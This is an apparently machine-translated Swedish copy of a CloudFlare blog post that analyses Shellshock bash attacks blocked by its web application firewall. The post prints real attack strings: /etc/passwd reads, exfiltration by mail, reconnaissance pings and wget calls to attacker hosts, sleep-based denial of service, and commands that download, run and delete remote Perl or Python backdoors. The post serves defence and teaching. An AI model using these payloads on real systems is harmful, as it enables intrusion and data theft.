Inuti Shellshock: hur hackare använder det för att utnyttja system

på onsdagen i förra veckan framkom detaljer om Shellshock bash-felet. Det här felet startade en förvrängning för att patcha datorer, servrar, routrar, brandväggar och andra datorapparater med sårbara versioner av bash.

CloudFlare rullade omedelbart ut skydd för proffs, företag och företagskunder via vår Webbapplikationsbrandvägg. På söndag, efter att ha studerat omfattningen av problemet, och titta på loggar av attacker stoppas av vår WAF, vi bestämde oss för att rulla ut skydd för våra gratis planen kunder samt.

sedan dess har vi övervakat attacker som vi har stoppat för att förstå hur de ser ut och var de kommer ifrån. Baserat på våra observationer är det tydligt att hackare utnyttjar Shellshock över hela världen.


(CC BY 2.0 aussiegall)

mata ut

Shellshock-problemet är ett exempel på en sårbarhet för exekvering av godtycklig kod (ACE). Vanligtvis körs ACE-sårbarhetsattacker på program som körs och kräver en mycket sofistikerad förståelse för internalerna för kodkörning, minneslayout och monteringsspråk—kort sagt kräver denna typ av attack en expert.

angripare använder också en ACE-sårbarhet för att ladda upp eller köra ett program som ger dem ett enkelt sätt att styra den riktade maskinen. Detta uppnås ofta genom att köra ett”skal”. Ett skal är en kommandorad där kommandon kan matas in och köras.

ShellShock-sårbarheten är ett stort problem eftersom det tar bort behovet av specialkunskap och ger ett enkelt (tyvärr mycket enkelt) sätt att ta kontroll över en annan dator (till exempel en webbserver) och få den att köra kod.

Antag för ett ögonblick att du ville attackera en webbserver och göra sin CD-eller DVD-enhet öppen. Det finns faktiskt ett kommando på Linux som kommer att göra det: /bin/eject. Om en webbserver är sårbar för Shellshock kan du attackera den genom att lägga till den magiska strängen () { :; }; till /bin/eject och sedan skicka den strängen till måldatorn via HTTP. Normalt skulle strängen User-Agent identifiera vilken typ av webbläsare du använder, men i fallet med Shellshock-sårbarheten kan den ställas in för att säga någonting.

till exempel, om example.com var sårbar då

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

skulle räcka för att faktiskt få CD-eller DVD-enheten att matas ut.

vid övervakning av Shellshock-attackerna som vi har blockerat har vi faktiskt sett någon som försöker exakt den attacken. Så om du kör en webbserver och plötsligt hittar en utmatad DVD kan det vara en indikation på att din maskin är sårbar för Shellshock.

varför den enkla attacken fungerar

När en webbserver tar emot en begäran om en sida finns det tre delar av begäran som kan vara mottagliga för Shellshock-attacken: begäran URL, rubrikerna som skickas tillsammans med webbadressen, och vad som kallas ”argument” (när du anger ditt namn och adress på en webbplats kommer det vanligtvis att skickas som argument i begäran).

Här är till exempel en faktisk HTTP-begäran som hämtar CloudFlare-hemsidan:

GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.com

i detta fall är webbadressen / (huvudsidan) och rubrikerna är Accept-EncodingAccept-Language, etc. Dessa rubriker ger webbservern information om funktionerna i min webbläsare, mitt föredragna språk, webbplatsen Jag letar efter och vilken webbläsare jag använder.

det är inte ovanligt att dessa omvandlas till variabler i en webbserver så att webbservern kan undersöka dem. (Webbservern kanske vill veta vad mitt föredragna språk är så det kan bestämma hur man ska svara på mig).

till exempel, inuti webbservern som svarar på begäran om CloudFlare-hemsidan är det möjligt att följande variabler definieras genom att kopiera begäran rubriker tecken för tecken.

HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com

så länge dessa variabler finns kvar i webbserverns programvara och inte skickas till andra program som körs på webbservern är servern inte sårbar.

Shellshock uppstår när variablerna skickas in i skalet som kallas ”bash”. Bash är ett vanligt skal som används på Linux-system. Webbservrar behöver ofta köra andra program för att svara på en förfrågan, och det är vanligt att dessa variabler överförs till bash eller ett annat skal.

Shellshock-problemet uppstår specifikt när en angripare ändrar origin HTTP-begäran för att innehålla den magiska () { :; }; – strängen som diskuterats ovan.

anta att angriparen ändrar användaragentrubriken ovan från Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 till helt enkelt () { :; }; /bin/eject. Detta skapar följande variabel i en webbserver:

HTTP_USER_AGENT=() { :; }; /bin/eject

om den variabeln överförs till bash av webbservern uppstår Shellshock-problemet. Detta beror på att bash har särskilda regler för hantering av en variabel som börjar med () { :; };. I stället för att behandla variabeln HTTP_USER_AGENT som en sekvens av tecken utan speciell betydelse, kommer bash att tolka det som ett kommando som måste utföras (jag har utelämnat de djupt tekniska förklaringarna till varför () { :; }; gör att bash beter sig så här för tydlighetens skull i denna uppsats.)

problemet är attHTTP_USER_AGENT kom från rubrikenUser-Agent vilket är något som en angripare kontrollerar eftersom den kommer in i webbservern i en HTTP-begäran. Och det är ett recept på katastrof eftersom en angripare kan få en sårbar server att köra vilket kommando som helst (se exempel nedan).

lösningen är att uppgradera bash till en version som inte tolkar () { :; }; på ett speciellt sätt.

där attacker kommer från

När vi rullade ut skydd för alla kunder införde vi ett mått som gjorde det möjligt för oss att övervaka antalet Shellshock-attacker som försökte. De fick alla en HTTP 403 förbjuden felkod, men vi höll en logg över när de inträffade och grundläggande information om attacken.

detta diagram visar antalet attacker per sekund över CloudFlare-nätverket sedan utrullning av skydd för alla kunder.

från det ögonblick CloudFlare slog på vårt skalskydd fram till tidigt i morse såg vi 10 till 15 attacker per sekund. I ordning efter attackvolymen kom dessa förfrågningar från Frankrike (80%), USA (7%), Nederländerna (7%) och sedan mindre volymer från många andra länder.

vid omkring 0100 Pacific (1000 i Paris) upphörde attackerna från Frankrike. Vi ser för närvarande cirka 5 attacker per sekund. I skrivande stund har vi blockerat över 1.1 m Shellshock-attacker.

låt fantasin springa vild

eftersom det är så lätt att attackera sårbara maskiner med Shellshock, och eftersom en sårbar maskin kommer att köra något kommando som skickas till det, har angripare låtit sina fantasier springa vild med sätt att manipulera datorer på distans.

CloudFlare ’ s WAF loggar anledningen till att det blockerade en begäran så att vi kan extrahera och analysera de faktiska Shellshock-strängarna som används. Shellshock används främst för rekognosering: för att extrahera privat information och för att tillåta angripare att få kontroll över servrar.

de flesta av Shellshock-kommandona injiceras med HTTP User-Agent och Referer-rubriker, men angripare använder också GET-och POST-argument och andra slumpmässiga HTTP-rubriker.

för att extrahera privat information använder angripare ett par tekniker. De enklaste extraktionsattackerna finns i formen:

() {:;}; /bin/cat /etc/passwd

som läser lösenordsfilen /etc/passwd och lägger till det i svaret från webbservern. Så en angripare som injicerar den här koden genom Shellshock-sårbarheten skulle se lösenordsfilen dumpad ut på sin skärm som en del av webbsidan som returneras.

i en attack skickar de helt enkelt privata filer till sig själva. För att få ut data via e-post använder angripare kommandot mail så här:

() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' 

det kommandot kör först whoami för att ta reda på namnet på användaren som kör webbservern. Det är särskilt användbart eftersom om webbservern körs som root (superanvändaren som kan göra någonting) kommer servern att vara ett särskilt rikt mål.

det skickar sedan användarnamnet tillsammans med namnet på den webbplats som attackeras (example.com ovan) via e-post. Namnet på webbplatsen visas i ämnesraden för e-post.

på fritiden kan angriparen logga in på sin e-post och ta reda på vilka webbplatser som var sårbara. Samma e-postteknik kan användas för att extrahera data som lösenordsfilen.


(CC med 2.0 JD Hancock)

Reconnaissance

den överlägset mest populära attacken vi har sett (cirka 83% av alla attacker) kallas ”reconnaissance”. Vid rekognoseringsattacker skickar angriparen ett kommando som skickar ett meddelande till en tredje parts maskin. Tredjepartsmaskinen kommer sedan att sammanställa en lista över alla sårbara maskiner som har kontaktat den.

tidigare har vi sett listor över komprometterade maskiner förvandlas till botnät för DDoS, spam eller andra ändamål.

en populär rekognoseringsteknik använder kommandotping för att få en sårbar maskin att skicka ett enda paket (kallat ping) till en tredje parts server som angriparen kontrollerar. Attacksträngen ser ut så här:

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

kommandot ping används normalt för att testa om en maskin är ”levande” eller online (en levande maskin svarar med sin egen ping). Om en webbserver är sårbar för Shellshock skickar den ett enda ping-paket (-c 1) till angripare-maskin.com med en nyttolast inställd av -p. Nyttolasten är ett unikt ID som skapats av angriparen så att de kan spåra ping tillbaka till den sårbara webbplatsen.

en annan teknik som används för att identifiera sårbara servrar är att få webbservern att ladda ner en webbsida från en angriparstyrd maskin. Angriparen kan sedan titta i sina webbserverloggar för att ta reda på vilken maskin som var sårbar. Denna attack fungerar genom att skicka en Shellshock sträng som:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

angriparen tittar i webbserverloggen för attacker-controlled.com för poster. Den nedladdade sidan ställs in av angriparen för att avslöja namnet på webbplatsen som attackeras. ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== är faktiskt en kod som indikerar att den attackerade platsen var example.com.

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== är faktiskt en base64-kodad sträng. När den avkodas läser den:

example.comShellShockSalt

från denna sträng kan angriparen ta reda på om deras attack på exempel.com lyckades, och, om så är fallet, de kan sedan gå tillbaka senare för att ytterligare utnyttja den webbplatsen. Medan jag har ersatt domänen som var målet ser vi verkliga exempel i naturen som faktiskt använder ShellShockSalt som saltet i hash.

Denial of Service

en annan Shellshock-attack använder den här strängen

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

den försöker köra kommandot sleep på tre olika sätt (eftersom System har lite olika konfigurationer kan sömn hittas i katalogerna /bin eller /sbin eller /usr/bin). Oavsett vilken sömn den körs får servern att vänta 20 sekunder innan den svarar . Det kommer att förbruka resurser på maskinen eftersom en tråd eller process som kör sleep inte gör något annat i 20 sekunder.

detta är kanske den enklaste denial-of-service av alla. Angriparna säger helt enkelt att maskinen ska sova ett tag. Skicka tillräckligt med dessa kommandon, och maskinen kan vara bunden att göra ingenting och inte kunna betjäna legitima förfrågningar.


(CC BY 2.0 peter castleton)

ta kontroll

cirka 8% av attackerna vi hittills har sett har riktats mot att direkt ta kontroll över en server. Fjärrkontrollattacker ser ut så här:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

detta kommando försöker använda två program (wget och curl) för att ladda ner ett program från en server som angriparen kontrollerar. Programmet är skrivet på Perl-språket, och när det har laddats ner körs det omedelbart. Detta program ställer in fjärråtkomst för en angripare till den sårbara webbservern.

en annan attack använder Python-språket för att ställa in ett program som kan användas för att fjärr köra något kommando på den sårbara maskinen:

() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"

cl.py nedladdat program görs för att se ut som en uppdatering till ClamAV-antivirusprogrammet. Efter en fördröjning på 5 sekunder rensar attacken efter sig själv genom att ta bort den nedladdade filen (lämnar den bara i minnet).


(CC BY 2.0 Jeff Taylor)

Målval

om man tittar på de webbplatser som attackeras och webbadresserna begärs är det möjligt att göra en utbildad gissning på de specifika webbapplikationer som attackeras.

de översta webbadresserna vi har sett attackerade är: / (23.00%), /cgi-bin-sdb/printenv(15,12%), /cgi-mod/index.cgi (14,93%), /cgi-sys/entropysearch.cgi (15,20%) och /cgi-sys/defaultwebpage.cgi (14,59%). Några av dessa webbadresser används av populära webbapplikationer och till och med en hårdvaruapparat.

det verkar som om 23% av attackerna riktas mot cPanel web hosting control software, 15% mot gamla Apache-installationer och 15% mot Barracuda-hårdvaruprodukterna som har ett webbaserat gränssnitt.

det senare är intressant eftersom det belyser det faktum att Shellshock inte bara är en attack på webbplatser: det är en attack på allt som körs bash och tillgängligt över Internet. Det kan inkludera hårdvaruenheter, set-top-boxar, bärbara datorer, till och med kanske telefoner.

Lämna ett svar

Din e-postadress kommer inte publiceras.